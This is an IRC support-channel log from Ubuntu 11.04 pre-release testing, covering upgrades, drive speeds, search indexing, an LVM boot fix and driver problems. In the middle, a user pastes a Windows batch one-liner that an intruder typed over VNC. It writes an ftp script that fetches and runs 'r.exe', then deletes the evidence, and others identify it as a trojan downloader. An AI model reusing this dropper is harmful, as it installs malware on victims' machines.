[12:48] <coz_> abrotmann,  no not for production machines  not even close
[12:48] <abrotmann> when should i upgrade to 11.04?? short before the ending of the ubuntu 10 10 support ??
[12:49] <coz_> abrotmann,  at the beginning of May
[12:49] <abrotmann> ok
[12:49] <abrotmann> or wait one month?
[12:49] <abrotmann> so the most bugs fix
[12:49] <abrotmann> ed
[12:49] <abrotmann> :D
[12:49] <coz_> abrotmann,  well first of may  would be fine
[12:49] <UbuntuFanatic> abrotmann, April 28th = release
[12:50] <UbuntuFanatic> We're all working fast on these bugs. :P
[12:50] <rooks-live> abrotmann, first and formost download livecd and make pendrive version of it (easy click through boot disk maker - installer from system menu)
[12:50] <rooks-live> abrotmann, and see if you really want it
[12:50] <abrotmann> i know
[12:50] <abrotmann> but i meant
[12:50] <abrotmann> after release, there many bugs
[12:50] <abrotmann> they will fixed 1 month after releasing
[12:51] <popey> why not wait and see?
[12:51] <rooks-live> usually thats how it is
[12:51] <coz_> abrotmann,  there will be fewer than  there are now for sure ...hopefully,, I think,,, maybe :)
[12:51] <abrotmann> yes but maybe its better to wait one or two months afterrelease ?
[12:51] <abrotmann> dont have hurry !
[12:51] <coz_> abrotmann,  well after release but fixes seem to come fairly rapidly with updates
[12:52] <abrotmann> but the thing is do i need a new hard drive disk, its a green hard drive
[12:52] <UbuntuFanatic> abrotmann,
[12:52] <UbuntuFanatic> We'll have most of the big bugs done by April 28th.
[12:52] <UbuntuFanatic> I mean, this IS the bug squashing phase. :P
[12:53] <abrotmann> yes ok
[12:53] <coz_> abrotmann,   well... in all honesty,, only we masochists are testing natty at this point... otherwise just hold off until may or june if you like :)
[12:54] <abrotmann> but the history
[12:54] <abrotmann> said another thing
[12:54] <abrotmann> everytime there were many failures after release they were fixed then
[12:55] <coz_> abrotmann,  go with your gut feeling about this
[12:55] <abrotmann> ok
[12:55] <abrotmann> but need i new hard drive ?
[12:55] <abrotmann> i have gott a green hard drive disk
[12:55] <abrotmann> k
[12:55] <abrotmann> xD
[12:55] <coz_> abrotmann,  I dont know "green hard drive"
[12:55] <abrotmann> 5400 rounds per minute
[12:55] <coz_> 5400 rpms?
[12:55] <abrotmann> yes
[12:56] <coz_> abrotmann,  thats a bit slow  but it should work fine
[12:56] <abrotmann> okay thanks, yes as far as i testing it works good
[12:56] <abrotmann> it has got 64 mb cache and maybe it turns 7200 if needed
[12:57] <abrotmann> i heard, but, well, no matter
[12:57] <coz_> abrotmann,   it will just take longer to put applicatoins into memory that's all,, after that  it is going to be as fast as your memory on that system
[12:57] <abrotmann> ok
[12:57] <abrotmann> thanks
[12:58] <abrotmann> i have one 7200 rpms here too, but this is old (1 year) and very very used, maybe its already distroyed, but i can change if you want to
[12:59] <gordonjcp> I wish you could program the speed of drives
[12:59] <gordonjcp> spin at 7200rpm when you want it fast, spin at 3600rpm when you want it quiet
[12:59] <genec> gordonjcp: there's a lot of issues with that
[12:59] <gordonjcp> yeah
[12:59] <abrotmann> i want fast
[12:59] <genec> the key is the air cushoin
[12:59] <gordonjcp> the heads would need to be more sensitive for the lower speed
[12:59] <coz_> gordonjcp,  and a lot of wear and tear as well
[12:59] <genec> *cushion
[13:00] <abrotmann> i want fast, not quiet
[13:00] <coz_> abrotmann,   solid state drive :)
[13:00] <abrotmann> no not such fast
[13:00] <abrotmann> because i only have 3,5 inch
[13:00] <genec> gordonjcp: why more sensitive for low speeds?  seems reverse
[13:00] <gordonjcp> coz_: no more so than running at a steady speed
[13:00] <coz_> abrotmann,  just the right size for solid state :)
[13:00] <abrotmann> where can i find 3,5 inch ssds
[13:00] <abrotmann> only find 2,5
[13:01] <gordonjcp> genec: what happens if you turn a generator at half the speed?
[13:01] <coz_> gordonjcp,  well,, the variations are also going to cause thermal breakdown...
[13:01] <genec> gordonjcp: a lot of wear and tear on the spindle motor shifting
[13:01] <coz_> gordonjcp,  with steady speed ,, thermals only change with the amount of useage
[13:01] <gordonjcp> no, no change in wear at all
[13:01] <coz_> ok
[13:01] <gordonjcp> what happens *electrically*
[13:01] <abrotmann> i want fast, not quiet
[13:02] <coz_> abrotmann,  go scsi
[13:02] <gordonjcp> heh
[13:02] <coz_> abrotmann,  although way way more expensive
[13:02] <gordonjcp> I want slow, quiet SCSI
[13:02] <genec> gordonjcp: I see the point, confusing DSP and head
[13:02] <gordonjcp> ideally I want something like an old couple of hundred MB powerbook drive
[13:03] <coz_> gordonjcp,   slow quiet scsi  is a fantasy lol
[13:03] <rooks-live> on related note, GET THUNDERBIRD IN since evolution sucks. thunderbird HAS callendar which is one very popular plugin for it that can be installed by default..
[13:04] <rooks-live> :)
[13:04] <genec> I think there may be some WDs that might shift but don't know
[13:04] <genec> and I know some seagates do 5900
[13:04] <abrotmann> i want fast, not quiet
[13:05] <genec> abrotmann: SATA, right?
[13:05] <abrotmann> yes
[13:05] <abrotmann> SATA 2
[13:05] <genec> a 2.5" SATA is compatible with what you have (minus some of the mounting)
[13:05] <coz_> mm does hdparm capable of setting drive speeds I wonder?
[13:06] <genec> coz_: doubtful.  it's buried inside
[13:06] <coz_> let me check man page just incase
[13:06] <genec> coz_: you can probably set a "mode" for speed or quiet but that is all; not spindle speed
[13:06] <abrotmann> so please
[13:06] <abrotmann> what use
[13:07] <skpl> does anyone kow if unity will work with the i810 video chipset?
[13:07] <coz_> skpl,   I dont  sorry  I know little about intel video  in general
[13:07] <nitroxidus> Hi. How to start indexing in Ubuntu 11.04
[13:07] <genec> skpl: have you tried it yet?
[13:07] <abrotmann> so please
[13:07] <abrotmann> what use
[13:07] <nitroxidus> when u press super+f
[13:07] <genec> skpl: the live CD, that is
[13:07] <nitroxidus> how to set manual indexing of files
[13:08] <skpl> genec: no, im waiting for it to be released
[13:08] <nitroxidus> and folders
[13:08] <coz_> genec,  apparenlty you are correct ,, it is possible to speed down the head  to reduce noise output with hdparm
[13:08] <coz_> looks to be about it
[13:08] <genec> skpl: try Beta2 and see
[13:09] <genec> coz_: that head speed is probably the quiet/speed option I'm thinking of
[13:09] <nitroxidus> anyone
[13:09] <nitroxidus> :(
[13:09] <coz_> genec,  yes  I believe you're right :)
[13:10] <skpl> genec: okie doke
[13:10] <skpl> ie
[13:11] <coz_> nitroxidus,  mm not sure hold on
[13:11] <nitroxidus> ok. :)
[13:13] <coz_> nitroxidus,  I dont know if tracker is installed by default any longer  let me check
[13:13] <nitroxidus> I think it isnt
[13:13] <coz_> nitroxidus,  you are right
[13:13] <coz_> that would be one option
[13:14] <nitroxidus> they use some other stuff  for unity for search forgot the name
[13:14] <rooks-live> i think ill upgrade to 11.04, since it has normal GUI, but it has it quite hidden...
[13:14] <coz_> nitroxidus,  oh yeah ,, I am not sure  actually   ,,,  perhaps someone else knows
[13:14] <nitroxidus> :(
[13:14] <nitroxidus> thanks  coz
[13:15] <nitroxidus> I read somewhere that it only indexes the files which you have previously  opened
[13:15] <coz_> nitroxidus,  sorry guy,,, I am not at all  an expert
[13:15] <nitroxidus> nothing else it indexes
[13:15] <coz_> oh!
[13:15] <nitroxidus> which is pretty stupid
[13:16] <genec> yes and no
[13:16] <nitroxidus> ?
[13:16] <genec> it takes less resources but yes it doesn't find old files
[13:16] <nitroxidus> i have allot of docs
[13:16] <genec> it should ideally be configurable
[13:17] <nitroxidus> is there any other option
[13:17] <genec> unsure
[13:18] <nitroxidus> its very convenient  just to press super+f and search away
[13:18] <nitroxidus> but it isnt indexing everything
[13:18] <nitroxidus> will this be fixed in rc
[13:20] <gordonjcp> coz_: you used to get relatively slow and quiet SCSI drives, like the aforementioned powerbook drives
[13:21] <gordonjcp> coz_: it's to fit into a sampler, and there's *just* not quite the room for a 3.5" drive
[13:21] <coz_> gordonjcp,  ah ok,,
[13:22] <gordonjcp> coz_: I'm running it with a 2GB flash drive and a SCSI-to-IDE bridge but it's a bit flaky at times
[13:22] <coz_> gordonjcp,  understood :)
[13:22] <gordonjcp> coz_: what I probably need to do is construct a bus converter to translate the slightly weirdass old-fashioned SCSI timing that the EPS generates to the newer SCSI timing spec that the bridge board expects ;-)
[13:23] <coz_> gordonjcp,  sounds reasonable
[13:23] <gordonjcp> but if I'm going down that route I may as well just ditch the flash drive and convert from weirdass old SCSI to an SD card
[13:23] <nitroxidus> is there any other search indexing solution
[13:27] <coz_> nitroxidus,  take a look at this   http://superuser.com/questions/231896/how-can-i-index-my-entire-disk-in-ubuntu  not sure if it will help on natty
[13:28] <nitroxidus> thanks. gona look into it
[13:30] <coz_> breakfast time,, be back later :)
[13:31] <jozefk> what are your opinions about unity DE?
[13:33] <jozefk> perlsyntax which card?
[13:33] <perlsyntax> brb
[13:33] <jozefk> lol
[13:34] <perlsyntax> TrueMobile 1150 it work in sbayon 5..5
[13:34] <perlsyntax> i downloading 11.04 to see if it works.
[13:34] <jozefk> yeah that's the best. try and see
[13:35] <perlsyntax> some people are so rude in the other ubuntu room.
[13:35] <jozefk> I can hardly belive any wireless card is not supported nowadays
[13:35] <jozefk> because they are oveloaded there I think
[13:35] <perlsyntax> i see
[13:35] <jozefk> it's not even easy to get any help there anymore
[13:35] <th1> when it's going to be released 11.04?
[13:35] <UbuntuFanatic> April 28th.
[13:35] <perlsyntax> next weee
[13:35] <th1> thanks :)
[13:35] <perlsyntax> week
[13:36] <UbuntuFanatic> No prob.  :)
[13:36] <perlsyntax> i just got a new hardrive for my laptop
[13:36] <perlsyntax> :)
[13:36] <UbuntuFanatic> Nice.
[13:36] <nitroxidus> Can also index pdf files and djvu files the text inside
[13:36] <nitroxidus> index text of pdf and djvu files
[13:36] <perlsyntax> jozefk,You try out 11.04?
[13:37] <jozefk> yes
[13:37] <nitroxidus> with the find command
[13:37] <jozefk> but didn't like unity
[13:37] <perlsyntax> you like it
[13:37] <th1> yeah I tried it on my eee and the unity was totally buggered
[13:37] <th1> but that was a month ago
[13:37] <jozefk> it's fine. if you like unity I guess it's ok
[13:37] <perlsyntax> i see
[13:37] <th1> it's easy to switch to Classic Desktop
[13:38] <jozefk> I want to try gnome3 also and see which one I like more
[13:38] <th1> also the Menu In The Top Of Screen issue I got fixed
[13:38] <jozefk> these days I'm trying KDE 4.6.2 :)
[13:38] <th1> or, "got rid off" => fixed ;)
[13:42] <perlsyntax> jozefk,What the name of 11.04?
[13:43] <jozefk> natty
[13:43] <perlsyntax> i try to find information on the wireless in 11.04
[13:44] <perlsyntax> i hope my pc cards work:)
[13:46] <knightautwell> hey can i ask a question??
[13:46] <yofel> !ask
[13:48] <BluesKaj> Hiya folks
[13:48] <knightautwell> ok all morning have been getting a request to view or control my desktop from a host i didnt know i finally accepted it so i could ask who it was and they tried to execute a bat program i think i can post what he wrote it in the text editor
[13:49] <bazhang> knightautwell, you were advised that was unwise to do at the time
[13:49] <knightautwell> is there anyway i can find the origin of it?
[13:49] <th1> knightautwell, you can paste the program into codepad.org and paste the link here
[13:49] <Pici> A 'bat' program?
[13:49] <th1> did he manage to execute it?
[13:50] <th1> knightautwell, what you did is similar to someone trying to pry open your bedroom window at 3am in the morning and you open the window to see who it is
[13:51] <knightautwell> well in a way i guess it opened in wine and he was typing the same thing.     cho whiskey>>wts&echo forme>>wts&echo get r.exe>>wts&echo bye>>wts&echo ftp -ivs:wts>t.bat&echo del wts>>t.bat&echo r.exe>>t.bat&echo del t.bat>>t.bat&echo exit>>t.bat&cls&t
[13:51] <IdleOne> and then got smacked in the back of the head with a bat
[13:51] <knightautwell> thats what he wrote
[13:51] <knightautwell> lol i know it was jsut ticking me off
[13:52] <knightautwell> anyone know what that does?
[13:52] <knightautwell> this whas the hostname:   bb6b9267.virtua.com.br
[13:53] <th1> knightautwell, you've been pwnd
[13:54] <th1> its a bat script for windows
[13:54] <knightautwell> lol what does it do tho anyone know?
[13:54] <th1> it's downloading a trojan or virus and installing it
[13:54] <th1> but it only works for windows
[13:54] <th1> but if I was you I'd reinstall just to be sure
[13:55] <knightautwell> lol prob what ill do. another user is trying to access it again with and ip address of: 187.107.146.103
[13:58] <rye> knightautwell, have you opened your computer to vnc connections (System Settings / Remote Desktop)
[13:58] <rye> knightautwell, i suppose the user which connected to your machine did not realize he ended up in non-windows environment
[13:58] <knightautwell> yea because my brother and i are doing that alot so i can help him with his computer.
[13:59] <th1> I just upgraded my 11.04 on my netbook and now it won't boot
[13:59] <rye> knightautwell, do you still have that command? Can you paste it in full at http://paste.ubuntu.com ?
[13:59] <th1> it boots uinto (initramfs) prompt
[13:59] <th1> my root partition doesn't get mounted it's on LVM
[13:59] <th1> from the (initramfs) prompt it mounts fine if I do mount /dev/mapper/eee-root /root
[13:59] <rye> th1, does lvm get picked up? /dev/mapper ?
[13:59] <rye> th1, ah
[14:00] <rye> th1, cat /proc/cmdline ?
[14:00] <th1> BOOT_IMAGE=/vmlinuz-2.6.38-8-generic root=/dev/mapper/eee-root ro acpi_osi=Linux acpi_backlight=vendor quiet splash vt.handoff=7
[14:00] <th1> (might have typos I copied from the eee by hand)
[14:00] <jozefk> anybody likes unity here?
[14:01] <rye> knightautwell, i think you'll want to e.g. set up a password for vnc access
[14:01] <knightautwell> rye: hera ya go http://paste.ubuntu.com/595505/
[14:01] <rye> jozefk, i have to say I do, though I would not say that 2 months ago, I hated it
[14:01] <niq1984> jozefk: I like :)
[14:01] <knightautwell> ya thats what ill do but im just not sure how he connected im on a static ip address lol
[14:02] <th1> rye any clue based on that?
[14:02] <knightautwell> he wrote more but i didnt get a chance to save it i had to stop it after it opened in wine lol
[14:02] <rye> knightautwell, static? you mean dynamic?
[14:02] <knightautwell> ya lol
[14:02] <jozefk> I didn't like that I can't add system monitors to panel
[14:02] <th1> knightautwell, he just scan lots of ip's for those that have that port open
[14:02] <knightautwell> i know its not much lol so any info?
[14:02] <rye> knightautwell, try installing windows xp with ethernet cable plugged in and dynamic external address. by the time it installs it will be infected
[14:02] <knightautwell> oh lol
[14:03] <th1> knightautwell, then when someone does Accept the connection he quickly installs some backdoor so he can pwn your machine
[14:03] <rye> knightautwell, the command entered is incomplete, there are no addresses for the server from which it tries to get the virus/trojan/backdoor/whatever
[14:03] <knightautwell> any idea what that script does?
[14:03] <th1> then he starts stealing your credit cards and passwords, and uses your PC to send spam
[14:04] <rye> th1, looks ok to me, anything strange in dmesg output?
[14:04] <knightautwell> so basically its just part of a script?
[14:04] <kubu2> when can we get kaffeine 1.2.2?
[14:04] <th1> rye, not in dmesg
[14:04] <th1> and boot in "Recovery mode" also dumps me into the (initramfs) prompt
[14:04] <rye> th1, you know what, try removing quiet and splash from the commandline in grub and then try to boot, maybe it will print something related
[14:04] <rye> e.g.
[14:04] <th1> ok
[14:04]  * rye can't come pu with a message
[14:04] <rye> up
[14:05] <th1> rye, latest I see is "running local.premount" then it clears the screen and shows the BusyBox banner and the (initramfs) prompt
[14:05] <th1> clever(!) to clear the screen and scrollback, when showing that banner ;)
[14:06] <th1> ah
[14:06] <rye> knightautwell, it connects to some ftp host, fetches r.exe file, and then nothing... but I suspect nothing because something failed:)
[14:06] <th1> the messages are on alt-f7
[14:06] <th1> it has "Loading, please wait..." then "Begin: Loading esssential drivers... done" and a number of "Begin: done" like that
[14:06] <rye> th1, i suspect you can try using older kernel to see whether this is related to the kernel or initrd
[14:07] <knightautwell> so it was a good thing stopped wine lol
[14:07] <th1> the last one is, "Running scripts/init-bottom ... mount: mounting /dev on /root/dev failed: No such file or directory"
[14:07] <rye> wooow
[14:07] <th1> ah
[14:07] <th1> earlier one is .. after "Running /scripts/local-premount ... done."
[14:07] <th1> then it shows: "mount: mounting /dev/mapper/eee-root on /root failed: No such device"
[14:08] <th1> but if I do "mount /dev/mapper/eee-root /root" from the prompt it does work and doesn't print an error
[14:08] <th1> it does print some ext3 and ext2 warnings but then tries with ext4 and moutns it
[14:08] <knightautwell> ill brb
[14:09] <th1> rye, I fixed it
[14:09] <rye> th1, how?
[14:09] <th1> from adding "rootfstype=ext4" to the command line
[14:09] <rye> th1, o_O
[14:10] <rye> hmmm
[14:11] <th1> yay logged in
[14:11]  * rye needs to test lvm too... ATM i don't use it due to having only single hard drive and virtually no need to resize partitions...
[14:12] <th1> where can I add the rootfstype option so it won't get deleted when grub is updated?
[14:15] <yofel> th1: the kernel default command line is set in /etc/default/grub
[14:15] <th1>  yofel I've added it to GRUB_CMDLINE_LINUX
[14:16] <th1> let's see if that sorts it for good
[14:17] <th1> yeah it did
[14:17] <th1> tnx yofel
[14:17] <yofel> np
[14:20] <Chronos> nvidia-173 : Depends: xorg-video-abi-8.0 but is not installable: does anyone know if is this a problem of mine or a natty bug?
[14:22] <bjsnider> Chronos, nvidia has not updated the 173 driver yet and likely will not until the day of natty's official release. you cannot use it until then
[14:23] <Chronos> bjsnider, ok: just to know it, i will wait...thank you ;-)
[14:23]  * KM0201 thats why i'm waiting to put 11.04 on my PC. nvidia dual screens
[14:27] <BluesKaj> well KM0201 , I'm sorry to say that my 2day experience with gnome on my test pc didn't convince me to switch. The desktop settings srewed up and I ended up with an awful clutter that wasn't removable.
[14:28] <KM0201> BluesKaj, gnome classic, or gnome 3? (or do you mean unity)
[14:29] <BluesKaj> unity and gnome2 , I started with maverick and upgraded to natty , but it didn't help
[14:29] <KM0201> ah, should've clean installed natty... :) (i've read of some upgrade troubles)
[14:29] <yofel> if unity had some kind of settings and unity-2d was shipped as well I would find it ok, but as it is now - I have a heavy dislike against any environment where the 3D and 2D envs differ a lot
[14:30] <yofel> and gnome3 doesn't work since a while ago here for some reason
[14:30] <yofel> didn't care to debug it
[14:30] <BluesKaj> well, I'm back to KDE on the test pc for now , maybe I'll give it another try after the official release
[14:32] <stimpie> a few times a day the dash does not 'autohide' for an unknown reason. Can I force hide it?
[14:33] <KM0201> yofel, i do agree w/ that.
[14:38] <bjsnider> testing unity when it's in a development stage and gnome3 when it's been uneasily packaged in a ppa in some people's spare time is not exactly fair
[14:40] <yofel> well, I do it's from a PPA and I don't actually expect it to work, just stating that it does in fact not work on my thinkpad. And unity has improved a LOT, doesn't change the fact that unity-2d isn't shipped
[14:40] <yofel> *do know
[14:42] <pvh> hey there... with this new unity interface, how do i get my 'connect to server' option so i can open a nautilus window via ssh or something?
[14:42] <BluesKaj> bjsnider, are you recommending a beta clean install vs a net upgrade
[14:42] <BluesKaj> ?
[14:43] <DreamsofanEagle> Alright, maybe someone in here will be willing to help
[14:43] <KM0201> bjsnider, i do agree w/ that..
[14:44] <DreamsofanEagle> Under 11.04, trying to install Pinta Image editor through the software center
[14:44] <yofel> although... "testing unity when it's in a development stage" - we're 10 days away from release you know... so I wouldn't call this development stage any more
[14:44] <DreamsofanEagle> but it says its not able to because it would be installing from untrusted sources
[14:44] <bjsnider> BluesKaj, i am not recommending anything. i am pointing out that you are not giving the software a fair chance to succeed, and then blaming the software for it
[14:44] <DreamsofanEagle> and then crashes
[14:45] <yofel> well, you're right about that on the gnome3 part
[14:47] <arand> DreamsofanEagle: The crash you should report as a bug, to install untrusted, either add the gpg key (should be available from where you got the repository), alternatively install from another application than software centre
[14:47] <DreamsofanEagle> I already reported the bug, I think
[14:47] <DreamsofanEagle> trying to make sure its on the site
[14:47] <DreamsofanEagle> but the program is IN the software center
[14:47] <yofel> DreamsofanEagle: by default?
[14:47] <DreamsofanEagle> shouldn;t that be trusted?
[14:48] <DreamsofanEagle> yes
[14:48] <yofel> that would be odd, does 'sudo apt-get update' in a terminal give any warning?
[14:48] <DreamsofanEagle> actually, come to think of it, tried to install it last night, but it crashed, never said anything about untrusted
[14:48] <DreamsofanEagle> lemme see
[14:49] <DreamsofanEagle> none so far
[14:49] <yofel> pinta seems to be in universe, so you shouldn't get a warning like this, unless the package management messed up when refreshing the cache last time
[14:49] <DreamsofanEagle> but this morning when I did "check" for updates in the Update Manager, it said something about untrusted
[14:49] <BluesKaj> bjsnider, there was a problem with my ~/ and desktop that was unmovable or deletable without losing all the folders and data in ~/, which uunfortanately left my desktop cluttered and ugly..a prob which seemed to be unfixable
[14:50] <DreamsofanEagle> its been buggy cause it crashed when installing Wine IIRC
[14:50] <DreamsofanEagle> and OpenOffice, and anything for that matter
[14:50] <DreamsofanEagle> no warning so far yofel
[14:50] <yofel> DreamsofanEagle: could be that the cache refresh back then didn't work right, in that case try refreshing it again and see if it's still untrusted
[14:50] <yofel> I've seen such cases in the past
[14:51] <DreamsofanEagle> how do I do that?
[14:51] <yofel> if apt-get runs fine you shouldn't get a warning anymore
[14:51] <DreamsofanEagle> ok
[14:51] <yofel> DreamsofanEagle: either apt-get update or just press the refresh button in update-manager, they both do the same
[14:51] <bjsnider> just to make it clear, as of this morning there is no such thing as openoffice. oracle has discontinued it. they may return the trademarks and whatnot to the odf.
[14:51] <DreamsofanEagle> there is no refresh button
[14:51] <DreamsofanEagle> oh wait, nm
[14:52] <bjsnider> http://arstechnica.com/open-source/news/2011/04/oracle-gives-up-on-ooo-after-community-forks-the-project.ars
[14:52] <DreamsofanEagle> right
[14:52] <yofel> er yeah, the 'check' button. Haven't use u-m in a while
[14:52] <DreamsofanEagle> Ok, Lemme see what Update Manager does
[14:52] <DreamsofanEagle> BTW, whoevers in charge here, great job with Beta 2
[14:53] <DreamsofanEagle> pretty stable and I like the Unity interface
[14:53] <bazhang> just us users and testers here
[14:53] <DreamsofanEagle> bah
[14:53] <DreamsofanEagle> Ok, Update Manager is working right
[14:54] <DreamsofanEagle> but its got a bit of downloading to do before I can move on to the Software Center
[14:56] <BluesKaj> yofel, bjsnider , I did try a clean install to / with ubuntu natty beta , preserving ~/ 's data etc , but even Unity insisted on placing all folders and text files in ~/ on the desktop , which weren't shortcuts , they were hard links ...why would that happen ?
[14:57]  * yofel is clueless
[14:57] <bjsnider> didn't happen to me
[14:58] <DreamsofanEagle> the Installer seems to be a bit buggy
[14:58] <DreamsofanEagle> even for 10.10
[14:58] <ActionParsnip> BluesKaj: bjsnider: http://ubuntuforums.org/showthread.php?t=1492408
[14:58] <ActionParsnip> DreamsofanEagle: 10.10 isn't supported here
[14:59] <DreamsofanEagle> yes I know, I'm just saying
[14:59] <DreamsofanEagle> the OS Installer is still buggy even in 10.10,
[14:59] <BluesKaj> well bully for you bjsnider ;p
[14:59] <ActionParsnip> DreamsofanEagle: tried the alternate installer?
[14:59] <DreamsofanEagle> no, because I don't have a LAN line
[15:00] <ActionParsnip> DreamsofanEagle: thats  minimal, not alternative
[15:00] <DreamsofanEagle> ......
[15:00] <DreamsofanEagle> damnit
[15:00] <ActionParsnip> DreamsofanEagle: the alternate installer installs a desktop OS in text mode
[15:00] <ActionParsnip> DreamsofanEagle: no network link needed
[15:00] <arand> Hmm, it seems indeed that aptdeamon crashed upon installing pinta...
[15:00] <DreamsofanEagle> someone told me wrong, anyway I solved the problem
[15:00] <BluesKaj> ActionParsnip, I had no desktop folders in kde before installing gnome
[15:01] <DreamsofanEagle> it seems that the 11.04 install does not like it when you boot into with a USB mouse installed
[15:01] <ActionParsnip> BluesKaj: i've not used kde since about 2005
[15:01] <DreamsofanEagle> or at least, the keyboard and touch pad for my laptop is disabled if you do
[15:01] <ActionParsnip> DreamsofanEagle: did you log a bug for the mouse issue?
[15:01] <DreamsofanEagle> yeah
[15:01] <ActionParsnip> good :)
[15:02] <DreamsofanEagle> no ones assigned anything to it yet though
[15:02] <DreamsofanEagle> and I only solved what actually causes that to happen,
[15:02] <DreamsofanEagle> just recently anyway
[15:02]  * BluesKaj decides to stick to kde for now.I'll wait til gnome decides which desktop works best and sets as default Unity or whatever
[15:03] <ActionParsnip> could use a different DE like LXDE, XFCE, Enlightenment etc. There are more than 2 DEs
[15:06] <DreamsofanEagle> ActionParsnip, here is a better descrip of whats going on with the installer for 11.04 and a USB mouse https://bugs.launchpad.net/ubuntu/+source/linux/+bug/760385
[15:08] <ActionParsnip> DreamsofanEagle: I suggest you provide a dmesg output of the boot with the usb mouse connected and one without and add to the bug too.  You can make this easier with:   dmesg > ~/Desktop/output.txt   each time
[15:08] <DreamsofanEagle> not sure how I can do that if I can't even use the keyboard
[15:11] <ActionParsnip> DreamsofanEagle: ssh?
[15:11] <DreamsofanEagle> ?
[15:13]  * yofel goes giving xubuntu a try
[15:13] <ActionParsnip> DreamsofanEagle: you can connect via ssh if you have another system and run the commands
[15:14] <DreamsofanEagle> <---is a newb
[15:14] <UbuntuFanatic> Excuse me.
[15:14] <UbuntuFanatic> I could "ping ::1" in Maverick,
[15:14] <UbuntuFanatic> but I can't now in Natty, any reason why?
[15:14] <DreamsofanEagle> and I don't have another system
[15:14] <DreamsofanEagle> if I had a USB keyboard an USB I might be able to, but money is a little tight ATM
[15:16] <mongy> is it or does the workspace changer keep changing its icon
[15:17] <ActionParsnip> DreamsofanEagle: you could add a startup item to run the command for you which you have access then reboot to make the file, then reboot. You can have the command use the time as part of the filename so it doesn't get overwritten.
[15:18] <delac> mongy: yes it does. have you resized the Launchers icon size?
[15:18] <mongy> yes
[15:18] <mongy> 32
[15:18] <DreamsofanEagle> this is only on the installer
[15:18] <DreamsofanEagle> once 11.04 is installed onto the system, it doesn't care
[15:18] <delac> mongy: https://bugs.launchpad.net/ubuntu/+source/unity-asset-pool/+bug/762700
[15:19] <mongy> its ok, i cn=an live with it
[15:20] <delac> mongy: well, you better, cause they are probably not going to do anything about it until 11.10
[15:22] <mongy> lol.... ok
[15:26] <mongy> it just changed again to the white/purple icon.   would think such a minor bug would be fixed quickly and easily
[15:26] <delac> I gues they have more pressing matters to attend at the moment
[15:26] <delac> but it is easy to fix
[15:26] <delac> you can do it foryourself too
[15:27] <delac> just find the icon in the unity-icon-theme folder and make a 32px version of it
[15:27] <delac> that should fix it
[15:34] <mongy> ah
[15:35] <no-nick> how many days left for 11.04 ?
[15:37] <arand> no-nick: 10
[15:40] <bin_bash> How would I know if I'm using the intel graphics? It appears that I am?
[15:40] <yofel> intel only has one driver, but you can check what's being used in /var/log/Xorg.0.log
[15:40] <bin_bash> thanks
[15:40] <bin_bash> brb booting
[15:41] <ActionParsnip> no-nick: 28th April minus today's date
[15:44] <kushal3> whenever I let mvidia config to do its thing, it crashes x. what can I do about it? I have geforce 325M
[15:46] <Technoviking> My evolution and xchat-gnome are using 24 hour time, but my locale setting are set to Eng-US and 12 hour time. Any ideas?
[15:46] <ActionParsnip> kushal3: it's nvidia. can you pastebin the output of:   dpkg -l | grep nvidia      It will show the driver you installed
[15:48] <bin_bash> Which line in the xorg0 file should i be looking for?
[15:48] <bin_bash> for the graphics driver
[15:48] <ActionParsnip> /var/log/Xorg.0.log
[15:48] <bin_bash> yeah which line
[15:49]  * KM0201 misses the old xorg.conf  :(
[15:49] <ActionParsnip> bin_bash: just read it with less and use cursors to scroll
[15:49] <ActionParsnip> KM0201: I still use one on 1 of my systems
[15:49] <yofel> usually the driver is printed in many lines in CAPS, like INTEL: ... or NOUVEAU: ...
[15:49] <KM0201> ActionParsnip, so do i.. :)
[15:49] <bin_bash> ActionParsnip: I have it open in gedit
[15:49] <ActionParsnip> KM0201: if you make one, it will be used
[15:49] <ActionParsnip> bin_bash: thats fine too
[15:49] <KM0201> "If you make it, they will come"... lol
[15:49]  * yofel needs one thanks to nvidia
[15:49] <bin_bash> KM0201: I got my home folder to sync ^,^
[15:49] <KM0201> bin_bash, now if you can just get your wireless going
[15:50] <bin_bash> KM0201: I found out the problem with NDISWRAPPER
[15:50] <KM0201> ?
[15:50] <KM0201> do share.
[15:50] <bin_bash> the driver is for windows 7 with is ndis 6.2, ndiswrapper only supports up to ndis 5
[15:51] <KM0201> i don't understand
[15:51] <KM0201> so you need ndiswrapper 6.2, to use a win7 driver?
[15:51] <bin_bash> yep
[15:51] <bin_bash> but it doesn't exist
[15:53] <KM0201> well isn't that peachy
[15:53] <ActionParsnip> how can you get that it's at 1.56 in natty, so how you can get 6.2 is beyond me
[15:53] <bin_bash> stupid phone internet
[15:53] <KM0201> ActionParsnip, kinda my thinking, but i hate ndiswrapper, so i dunno
[15:54] <bin_bash> I have no idea.
[15:54] <ActionParsnip> i think s/he means the version of ndis in the network stack
[15:54] <bin_bash> I guess? I'm just reiterating what I was reading in the thread
[15:54] <ActionParsnip> http://en.wikipedia.org/wiki/Network_Driver_Interface_Specification
[15:54] <ActionParsnip> I suggest you look at what NDIS actually is
[15:54] <bin_bash> I can't load that
[15:55] <bin_bash> And it appears that intel graphics are working. Which is interesting because most people couldn't get them to work. this is interesting
[15:56] <bin_bash> Also, screen and keyboard dimming work
[15:58]  * KM0201 has never had to use NDiswrapper... thankfully
[15:58]  * KM0201 researches like crazy before buying
[15:58] <KM0201> :)
[15:59]  * bin_bash would have researched like crazy if I had actually /bought/ this thing :P
[15:59] <KM0201> lol
[15:59] <bin_bash> the thing is though, I have /everything/ running the way it was on 10.04 except wireless, zshell and skype
[16:00] <bin_bash> I even have conky the way it was, my theme, my wallpaper, everything.
[16:00] <jamil_1> hello, I have unity here. Windows apparently donot get focus because I am unable to click on any in-application buttons like tabs of firefox. any fix ?
[16:00] <KM0201> bin_bash, well, skype should be easy
[16:00] <bhavesh> I am trying to install a gnome theme to make my ubuntu look like windows 7.. I am following a tutorial (http://www.howtogeek.com/55985/how-to-make-ubuntu-linux-look-like-windows-7/) but it says "Please use gnome to install windows 7 theme" (http://i.imgur.com/DjriW.png) what may be the reason
[16:01] <KM0201> zshell, i have no idea what that is.
[16:01] <KM0201> let me rephrase, if your mic/audio is picked up properly, skype should be easy
[16:01] <bhavesh> I am already using GNOME 2 on my ubuntu 11.04
[16:01] <KM0201> "already"?
[16:02] <bhavesh> just I am using GNOME2
[16:02] <KM0201> well thats great
[16:02] <jamil_1> bin_bash: I tries what you suggested earlier to play with settings in compiz config manager....but some of them crashed unity...
[16:02] <KM0201> lol
[16:02] <jamil_1> *tried
[16:02] <bhavesh> and it says "Please use gnome to install windows 7 theme...."
[16:02] <KM0201> lol
[16:02] <KM0201> bhavesh, that just sounds like a paradox...
